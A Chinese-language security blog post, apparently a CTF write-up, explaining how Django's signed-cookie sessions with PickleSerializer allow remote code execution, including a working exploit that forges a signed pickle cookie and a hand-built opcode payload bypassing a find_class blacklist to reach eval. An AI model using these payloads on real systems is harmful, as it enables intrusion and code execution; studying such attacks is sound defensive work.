由Django-Session配置引發的反序列化安全問題

漏洞成因

漏洞成因位於目標配置文件settings.py下

關於這兩個配置項

SESSION_ENGINE:

在Django中,SESSION_ENGINE 是一個設置項,用於指定用於存儲和處理會話(session)數據的引擎。

SESSION_ENGINE 設置項允許您選擇不同的後端引擎來存儲會話數據,例如:

  1. 數據庫後端 (django.contrib.sessions.backends.db):會話數據存儲在數據庫表中。這是Django的默認會話引擎。

  2. 緩存後端 (django.contrib.sessions.backends.cache):會話數據存儲在緩存中,例如Memcached或Redis。這種方式適用於需要快速讀寫和處理大量會話數據的情況。

  3. 文件系統後端 (django.contrib.sessions.backends.file):會話數據存儲在服務器的文件系統中。這種方式適用於小型應用,不需要高級別的安全性和性能。

  4. 簽名Cookie後端 (django.contrib.sessions.backends.signed_cookies):會話數據以簽名的方式存儲在用戶的Cookie中。這種方式適用於小型會話數據,可以提供一定程度的安全性。

  5. 緩存數據庫後端 (django.contrib.sessions.backends.cached_db):會話數據存儲在緩存中,並且在需要時備份到數據庫。這種方式結合了緩存和持久性存儲的優勢。

SESSION_SERIALIZER:

SESSION_SERIALIZER 是Django設置中的一個選項,用於指定Django如何對會話(session)數據進行序列化和反序列化。會話是一種在Web應用程序中用於存儲用戶狀態信息的機制,例如用戶登錄狀態、購物車內容、用戶首選項等。

通過配置SESSION_SERIALIZER,您可以指定Django使用哪種數據序列化格式來處理會話數據。Django支持多種不同的序列化格式,包括以下常用的選項:

  1. 'django.contrib.sessions.serializers.JSONSerializer':使用JSON格式來序列化和反序列化會話數據。JSON是一種通用的文本格式,具有良好的可讀性和跨平臺兼容性。

  2. 'django.contrib.sessions.serializers.PickleSerializer':使用Python標準庫中的pickle模塊來序列化和反序列化會話數據。

那麼上述配置項的意思就是使用cookie來存儲session的簽名,然後使用pickle在c/s兩端進行序列化和反序列化。

緊接着看看Django中的/core/signing模塊:(Django==2.2.5)

主要看看函數參數即可

key:驗籤中的密鑰

serializer:指定序列化和反序列化類

def dumps(obj, key=None, salt='django.core.signing', serializer=JSONSerializer, compress=False):
    """
    Return URL-safe, hmac/SHA1 signed base64 compressed JSON string. If key is
    None, use settings.SECRET_KEY instead.
​
    If compress is True (not the default), check if compressing using zlib can
    save some space. Prepend a '.' to signify compression. This is included
    in the signature, to protect against zip bombs.
​
    Salt can be used to namespace the hash, so that a signed string is
    only valid for a given namespace. Leaving this at the default
    value or re-using a salt value across different parts of your
    application without good cause is a security risk.
​
    The serializer is expected to return a bytestring.
    """
    data = serializer().dumps(obj)      # 使用選定的類進行序列化
​
    # Flag for if it's been compressed or not
    is_compressed = False
    
    # 數據壓縮處理
    if compress:
        # Avoid zlib dependency unless compress is being used
        compressed = zlib.compress(data)
        if len(compressed) < (len(data) - 1):
            data = compressed
            is_compressed = True
    base64d = b64_encode(data).decode()         # base64編碼 decode轉化成字符串
    if is_compressed:
        base64d = '.' + base64d
    return TimestampSigner(key, salt=salt).sign(base64d)    # 返回一個簽名值
​
​
# loads的過程爲dumps的逆過程
def loads(s, key=None, salt='django.core.signing', serializer=JSONSerializer, max_age=None):
    """
    Reverse of dumps(), raise BadSignature if signature fails.
​
    The serializer is expected to accept a bytestring.
    """
    # TimestampSigner.unsign() returns str but base64 and zlib compression
    # operate on bytes.
    base64d = TimestampSigner(key, salt=salt).unsign(s, max_age=max_age).encode()
    decompress = base64d[:1] == b'.'
    if decompress:
        # It's compressed; uncompress it first
        base64d = base64d[1:]
    data = b64_decode(base64d)
    if decompress:
        data = zlib.decompress(data)
    return serializer().loads(data)

看看兩個簽名的類:

在Signer類中中:

class Signer:
​
    def __init__(self, key=None, sep=':', salt=None):
        # Use of native strings in all versions of Python
        self.key = key or settings.SECRET_KEY   # key默認爲settings中的配置項           
        self.sep = sep
        if _SEP_UNSAFE.match(self.sep):
            raise ValueError(
                'Unsafe Signer separator: %r (cannot be empty or consist of '
                'only A-z0-9-_=)' % sep,
            )
        self.salt = salt or '%s.%s' % (self.__class__.__module__, self.__class__.__name__)
​
    def signature(self, value):
        # 利用salt、value、key做一次簽名
        return base64_hmac(self.salt + 'signer', value, self.key)
​
    def sign(self, value):
        return '%s%s%s' % (value, self.sep, self.signature(value))
​
    def unsign(self, signed_value):
        if self.sep not in signed_value:
            raise BadSignature('No "%s" found in value' % self.sep)
        value, sig = signed_value.rsplit(self.sep, 1)
        if constant_time_compare(sig, self.signature(value)):
            return value
        raise BadSignature('Signature "%s" does not match' % sig)

還有一個是時間戳的驗籤部分

class TimestampSigner(Signer):
​
    def timestamp(self):
        return baseconv.base62.encode(int(time.time()))
​
    def sign(self, value):
        value = '%s%s%s' % (value, self.sep, self.timestamp())
        return super().sign(value)
​
    def unsign(self, value, max_age=None):
        """
        Retrieve original value and check it wasn't signed more
        than max_age seconds ago.
        """
        result = super().unsign(value)
        value, timestamp = result.rsplit(self.sep, 1)
        timestamp = baseconv.base62.decode(timestamp)
        if max_age is not None:
            if isinstance(max_age, datetime.timedelta):
                max_age = max_age.total_seconds()
            # Check timestamp is not older than max_age
            age = time.time() - timestamp
            if age > max_age:
                raise SignatureExpired(
                    'Signature age %s > %s seconds' % (age, max_age))
        return value

時間戳主要是爲了判斷session是否過期,因爲設置了一個max_age字段,做了差值進行比較

image-20231009201626771

漏洞調試

我直接以ez_py的題目環境爲漏洞調試環境(Django==2.2.5)

【----幫助網安學習,以下所有學習資料免費領!加vx:yj009991,備註 “博客園” 獲取!】

 ① 網安學習成長路徑思維導圖
 ② 60+網安經典常用工具包
 ③ 100+SRC漏洞分析報告
 ④ 150+網安攻防實戰技術電子書
 ⑤ 最權威CISSP 認證考試指南+題庫
 ⑥ 超1800頁CTF實戰技巧手冊
 ⑦ 最新網安大廠面試題合集(含答案)
 ⑧ APP客戶端安全檢測指南(安卓+IOS)

老慣例,先看棧幀

django/contrib/auth/middleware.py爲處理Django框架中的身份驗證和授權的中間件類,協助處理了HTTP請求

image-20231009195204458

AuthenticationMiddleware中調用了get_user用於獲取session中的連接對象身份

image-20231009195521704

隨後調用Django auth模塊下的get_user函數和_get_user_session_key函數

image-20231009195847424

image-20231009200451030

隨後進行session的字典讀取。由於加載session的過程爲懶加載過程(lazy load),所以在讀取SESSION_KEY的時候會進行_get_session函數運行,從而觸發session的反序列化

image-20231009200700904

image-20231009200837563

image-20231009200846377

loads函數中的操作

首先先進行session是否過期的檢驗,隨後base64解碼和zlib數據解壓縮,提取出python字節碼

最後扔入pickle進行字節碼解析

image-20231009201813801

漏洞利用

首先利用條件如下:

image-20231009113436367

以cookie方式存儲session,實現了交互。

以Pickle爲反序列化類,觸發__reduce__函數的執行,實現RCE

EXP如下:

import os
import django.core.signing
import requests
​
​
# from Django.contrib.sessions.serializers.PickleSerializer
import pickle
class PickleSerializer:
    """
    Simple wrapper around pickle to be used in signing.dumps and
    signing.loads.
    """
    protocol = pickle.HIGHEST_PROTOCOL
​
    def dumps(self, obj):
        return pickle.dumps(obj, self.protocol)
​
    def loads(self, data):
        return pickle.loads(data)
​
​
SECRET_KEY = 'p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn'
salt = "django.contrib.sessions.backends.signed_cookies"
​
class exp():
    def __reduce__(self):
        # 返回一個callable 及其參數的元組
        return os.system, (('calc.exe'),)
​
_exp = exp()
cookie_opcodes = django.core.signing.dumps(_exp, key=SECRET_KEY, salt=salt, serializer=PickleSerializer)
print(cookie_opcodes)
​
resp = requests.get("http://127.0.0.1:8000/auth", cookies={"sessionid": cookie_opcodes})

image-20231009202058822

Code-Breaking-Django調試

這道題是P神文章中的題目,題目源碼在這:https://github.com/phith0n/code-breaking/blob/master/2018/picklecode

find_class沙盒逃逸

關於find_class:

簡單來說,這是python pickle建議使用的安全策略,這個函數在pickle字節碼調用c(即import)時會進行校驗,校驗函數由自己定義

import pickle
import io
import builtins
​
__all__ = ('PickleSerializer', )
​
​
class RestrictedUnpickler(pickle.Unpickler):
    blacklist = {'eval', 'exec', 'execfile', 'compile', 'open', 'input', '__import__', 'exit'}
​
    def find_class(self, module, name):         # python字節碼解析後調用了全局類或函數 import行爲 就會自動調用find_class方法
        # Only allow safe classes from builtins.
        if module == "builtins" and name not in self.blacklist:        # 檢查調用的類是否爲內建類, 以及函數名是否出現在黑名單內
            return getattr(builtins, name)
        # Forbid everything else.
        raise pickle.UnpicklingError("global '%s.%s' is forbidden" %
                                     (module, name))
​
​
class PickleSerializer():
    def dumps(self, obj):
        return pickle.dumps(obj)
​
    def loads(self, data):
        try:
            # 校驗data是否爲字符串
            if isinstance(data, str):
                raise TypeError("Can't load pickle from unicode string")
            file = io.BytesIO(data)                     # 讀取data
            return RestrictedUnpickler(file,encoding='ASCII', errors='strict').load()
        except Exception as e:
            return {}

第一是要手撕python pickle opcode繞過find_class,這個過程使用到了getattr函數,這個函數有如下用法

class Person:
     def __init__(self, name):
         self.name = name
​
# 獲取對象屬性值
person = Person("Alice")
name = getattr(person, "name")
print(name)
​
# 調用對象方法
a = getattr(builtins, "eval")
a("print(1+1)")
​
​
# 可以設置default值
age = getattr(person, "age", 30)
print(age)
​
builtins.getattr(builtins, "eval")("print(1+1)")

那麼同理,也可以通過getattr調用eval

加載上下文:由於後端在實現時,import了一些包

image-20231010215502906

(這部分包的上下文可以使用globals()函數獲得)

所以可以直接導入builtins中的getattr,最終通過獲取globals()中的__builtins__來獲取eval等

getattr = GLOBAL('builtins', 'getattr')     # GLOBAL爲導入
dict = GLOBAL('builtins', 'dict')       
dict_get = getattr(dict, 'get')
globals = GLOBAL('builtins', 'globals')
builtins = globals()                
__builtins__ = dict_get(builtins, '__builtins__')           # 獲取真正的__builtins__
eval = getattr(__builtins__, 'eval')
eval('__import__("os").system("calc.exe")')
return

image-20231010214357341

查看Django.core.signing模塊,復刻sign寫exp

from django.core import signing
import pickle
import io
import builtins
import zlib
import base64
​
PayloadToBeEncoded = b'cbuiltins\ngetattr\np0\n0cbuiltins\ndict\np1\n0g0\n(g1\nS\'get\'\ntRp2\n0cbuiltins\nglobals\np3\n0g3\n(tRp4\n0g2\n(g4\nS\'__builtins__\'\ntRp5\n0g0\n(g5\nS\'eval\'\ntRp6\n0g6\n(S\'__import__("os").system("calc.exe")\'\ntR.'
​
SECURE_KEY = "p(^*@36nw13xtb23vu%x)2wp-vk)ggje^sobx+*w2zd^ae8qnn"
salt = "django.contrib.sessions.backends.signed_cookies"
​
​
def b64_encode(s):
    return base64.urlsafe_b64encode(s).strip(b"=")
​
base64d = b64_encode(PayloadToBeEncoded).decode()
​
def exp(key, payload):
    global salt
    # Flag for if it's been compressed or not.
    is_compressed = False
    compress = False
    if compress:
        # Avoid zlib dependency unless compress is being used.
        compressed = zlib.compress(payload)
        if len(compressed) < (len(payload) - 1):
            payload = compressed
            is_compressed = True
    base64d = b64_encode(payload).decode()
    if is_compressed:
        base64d = "." + base64d
    session = signing.TimestampSigner(key=key, salt=salt).sign(base64d)
    print(session)

然後傳session即可。

更多網安技能的在線實操練習,請點擊這裏>>

  

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章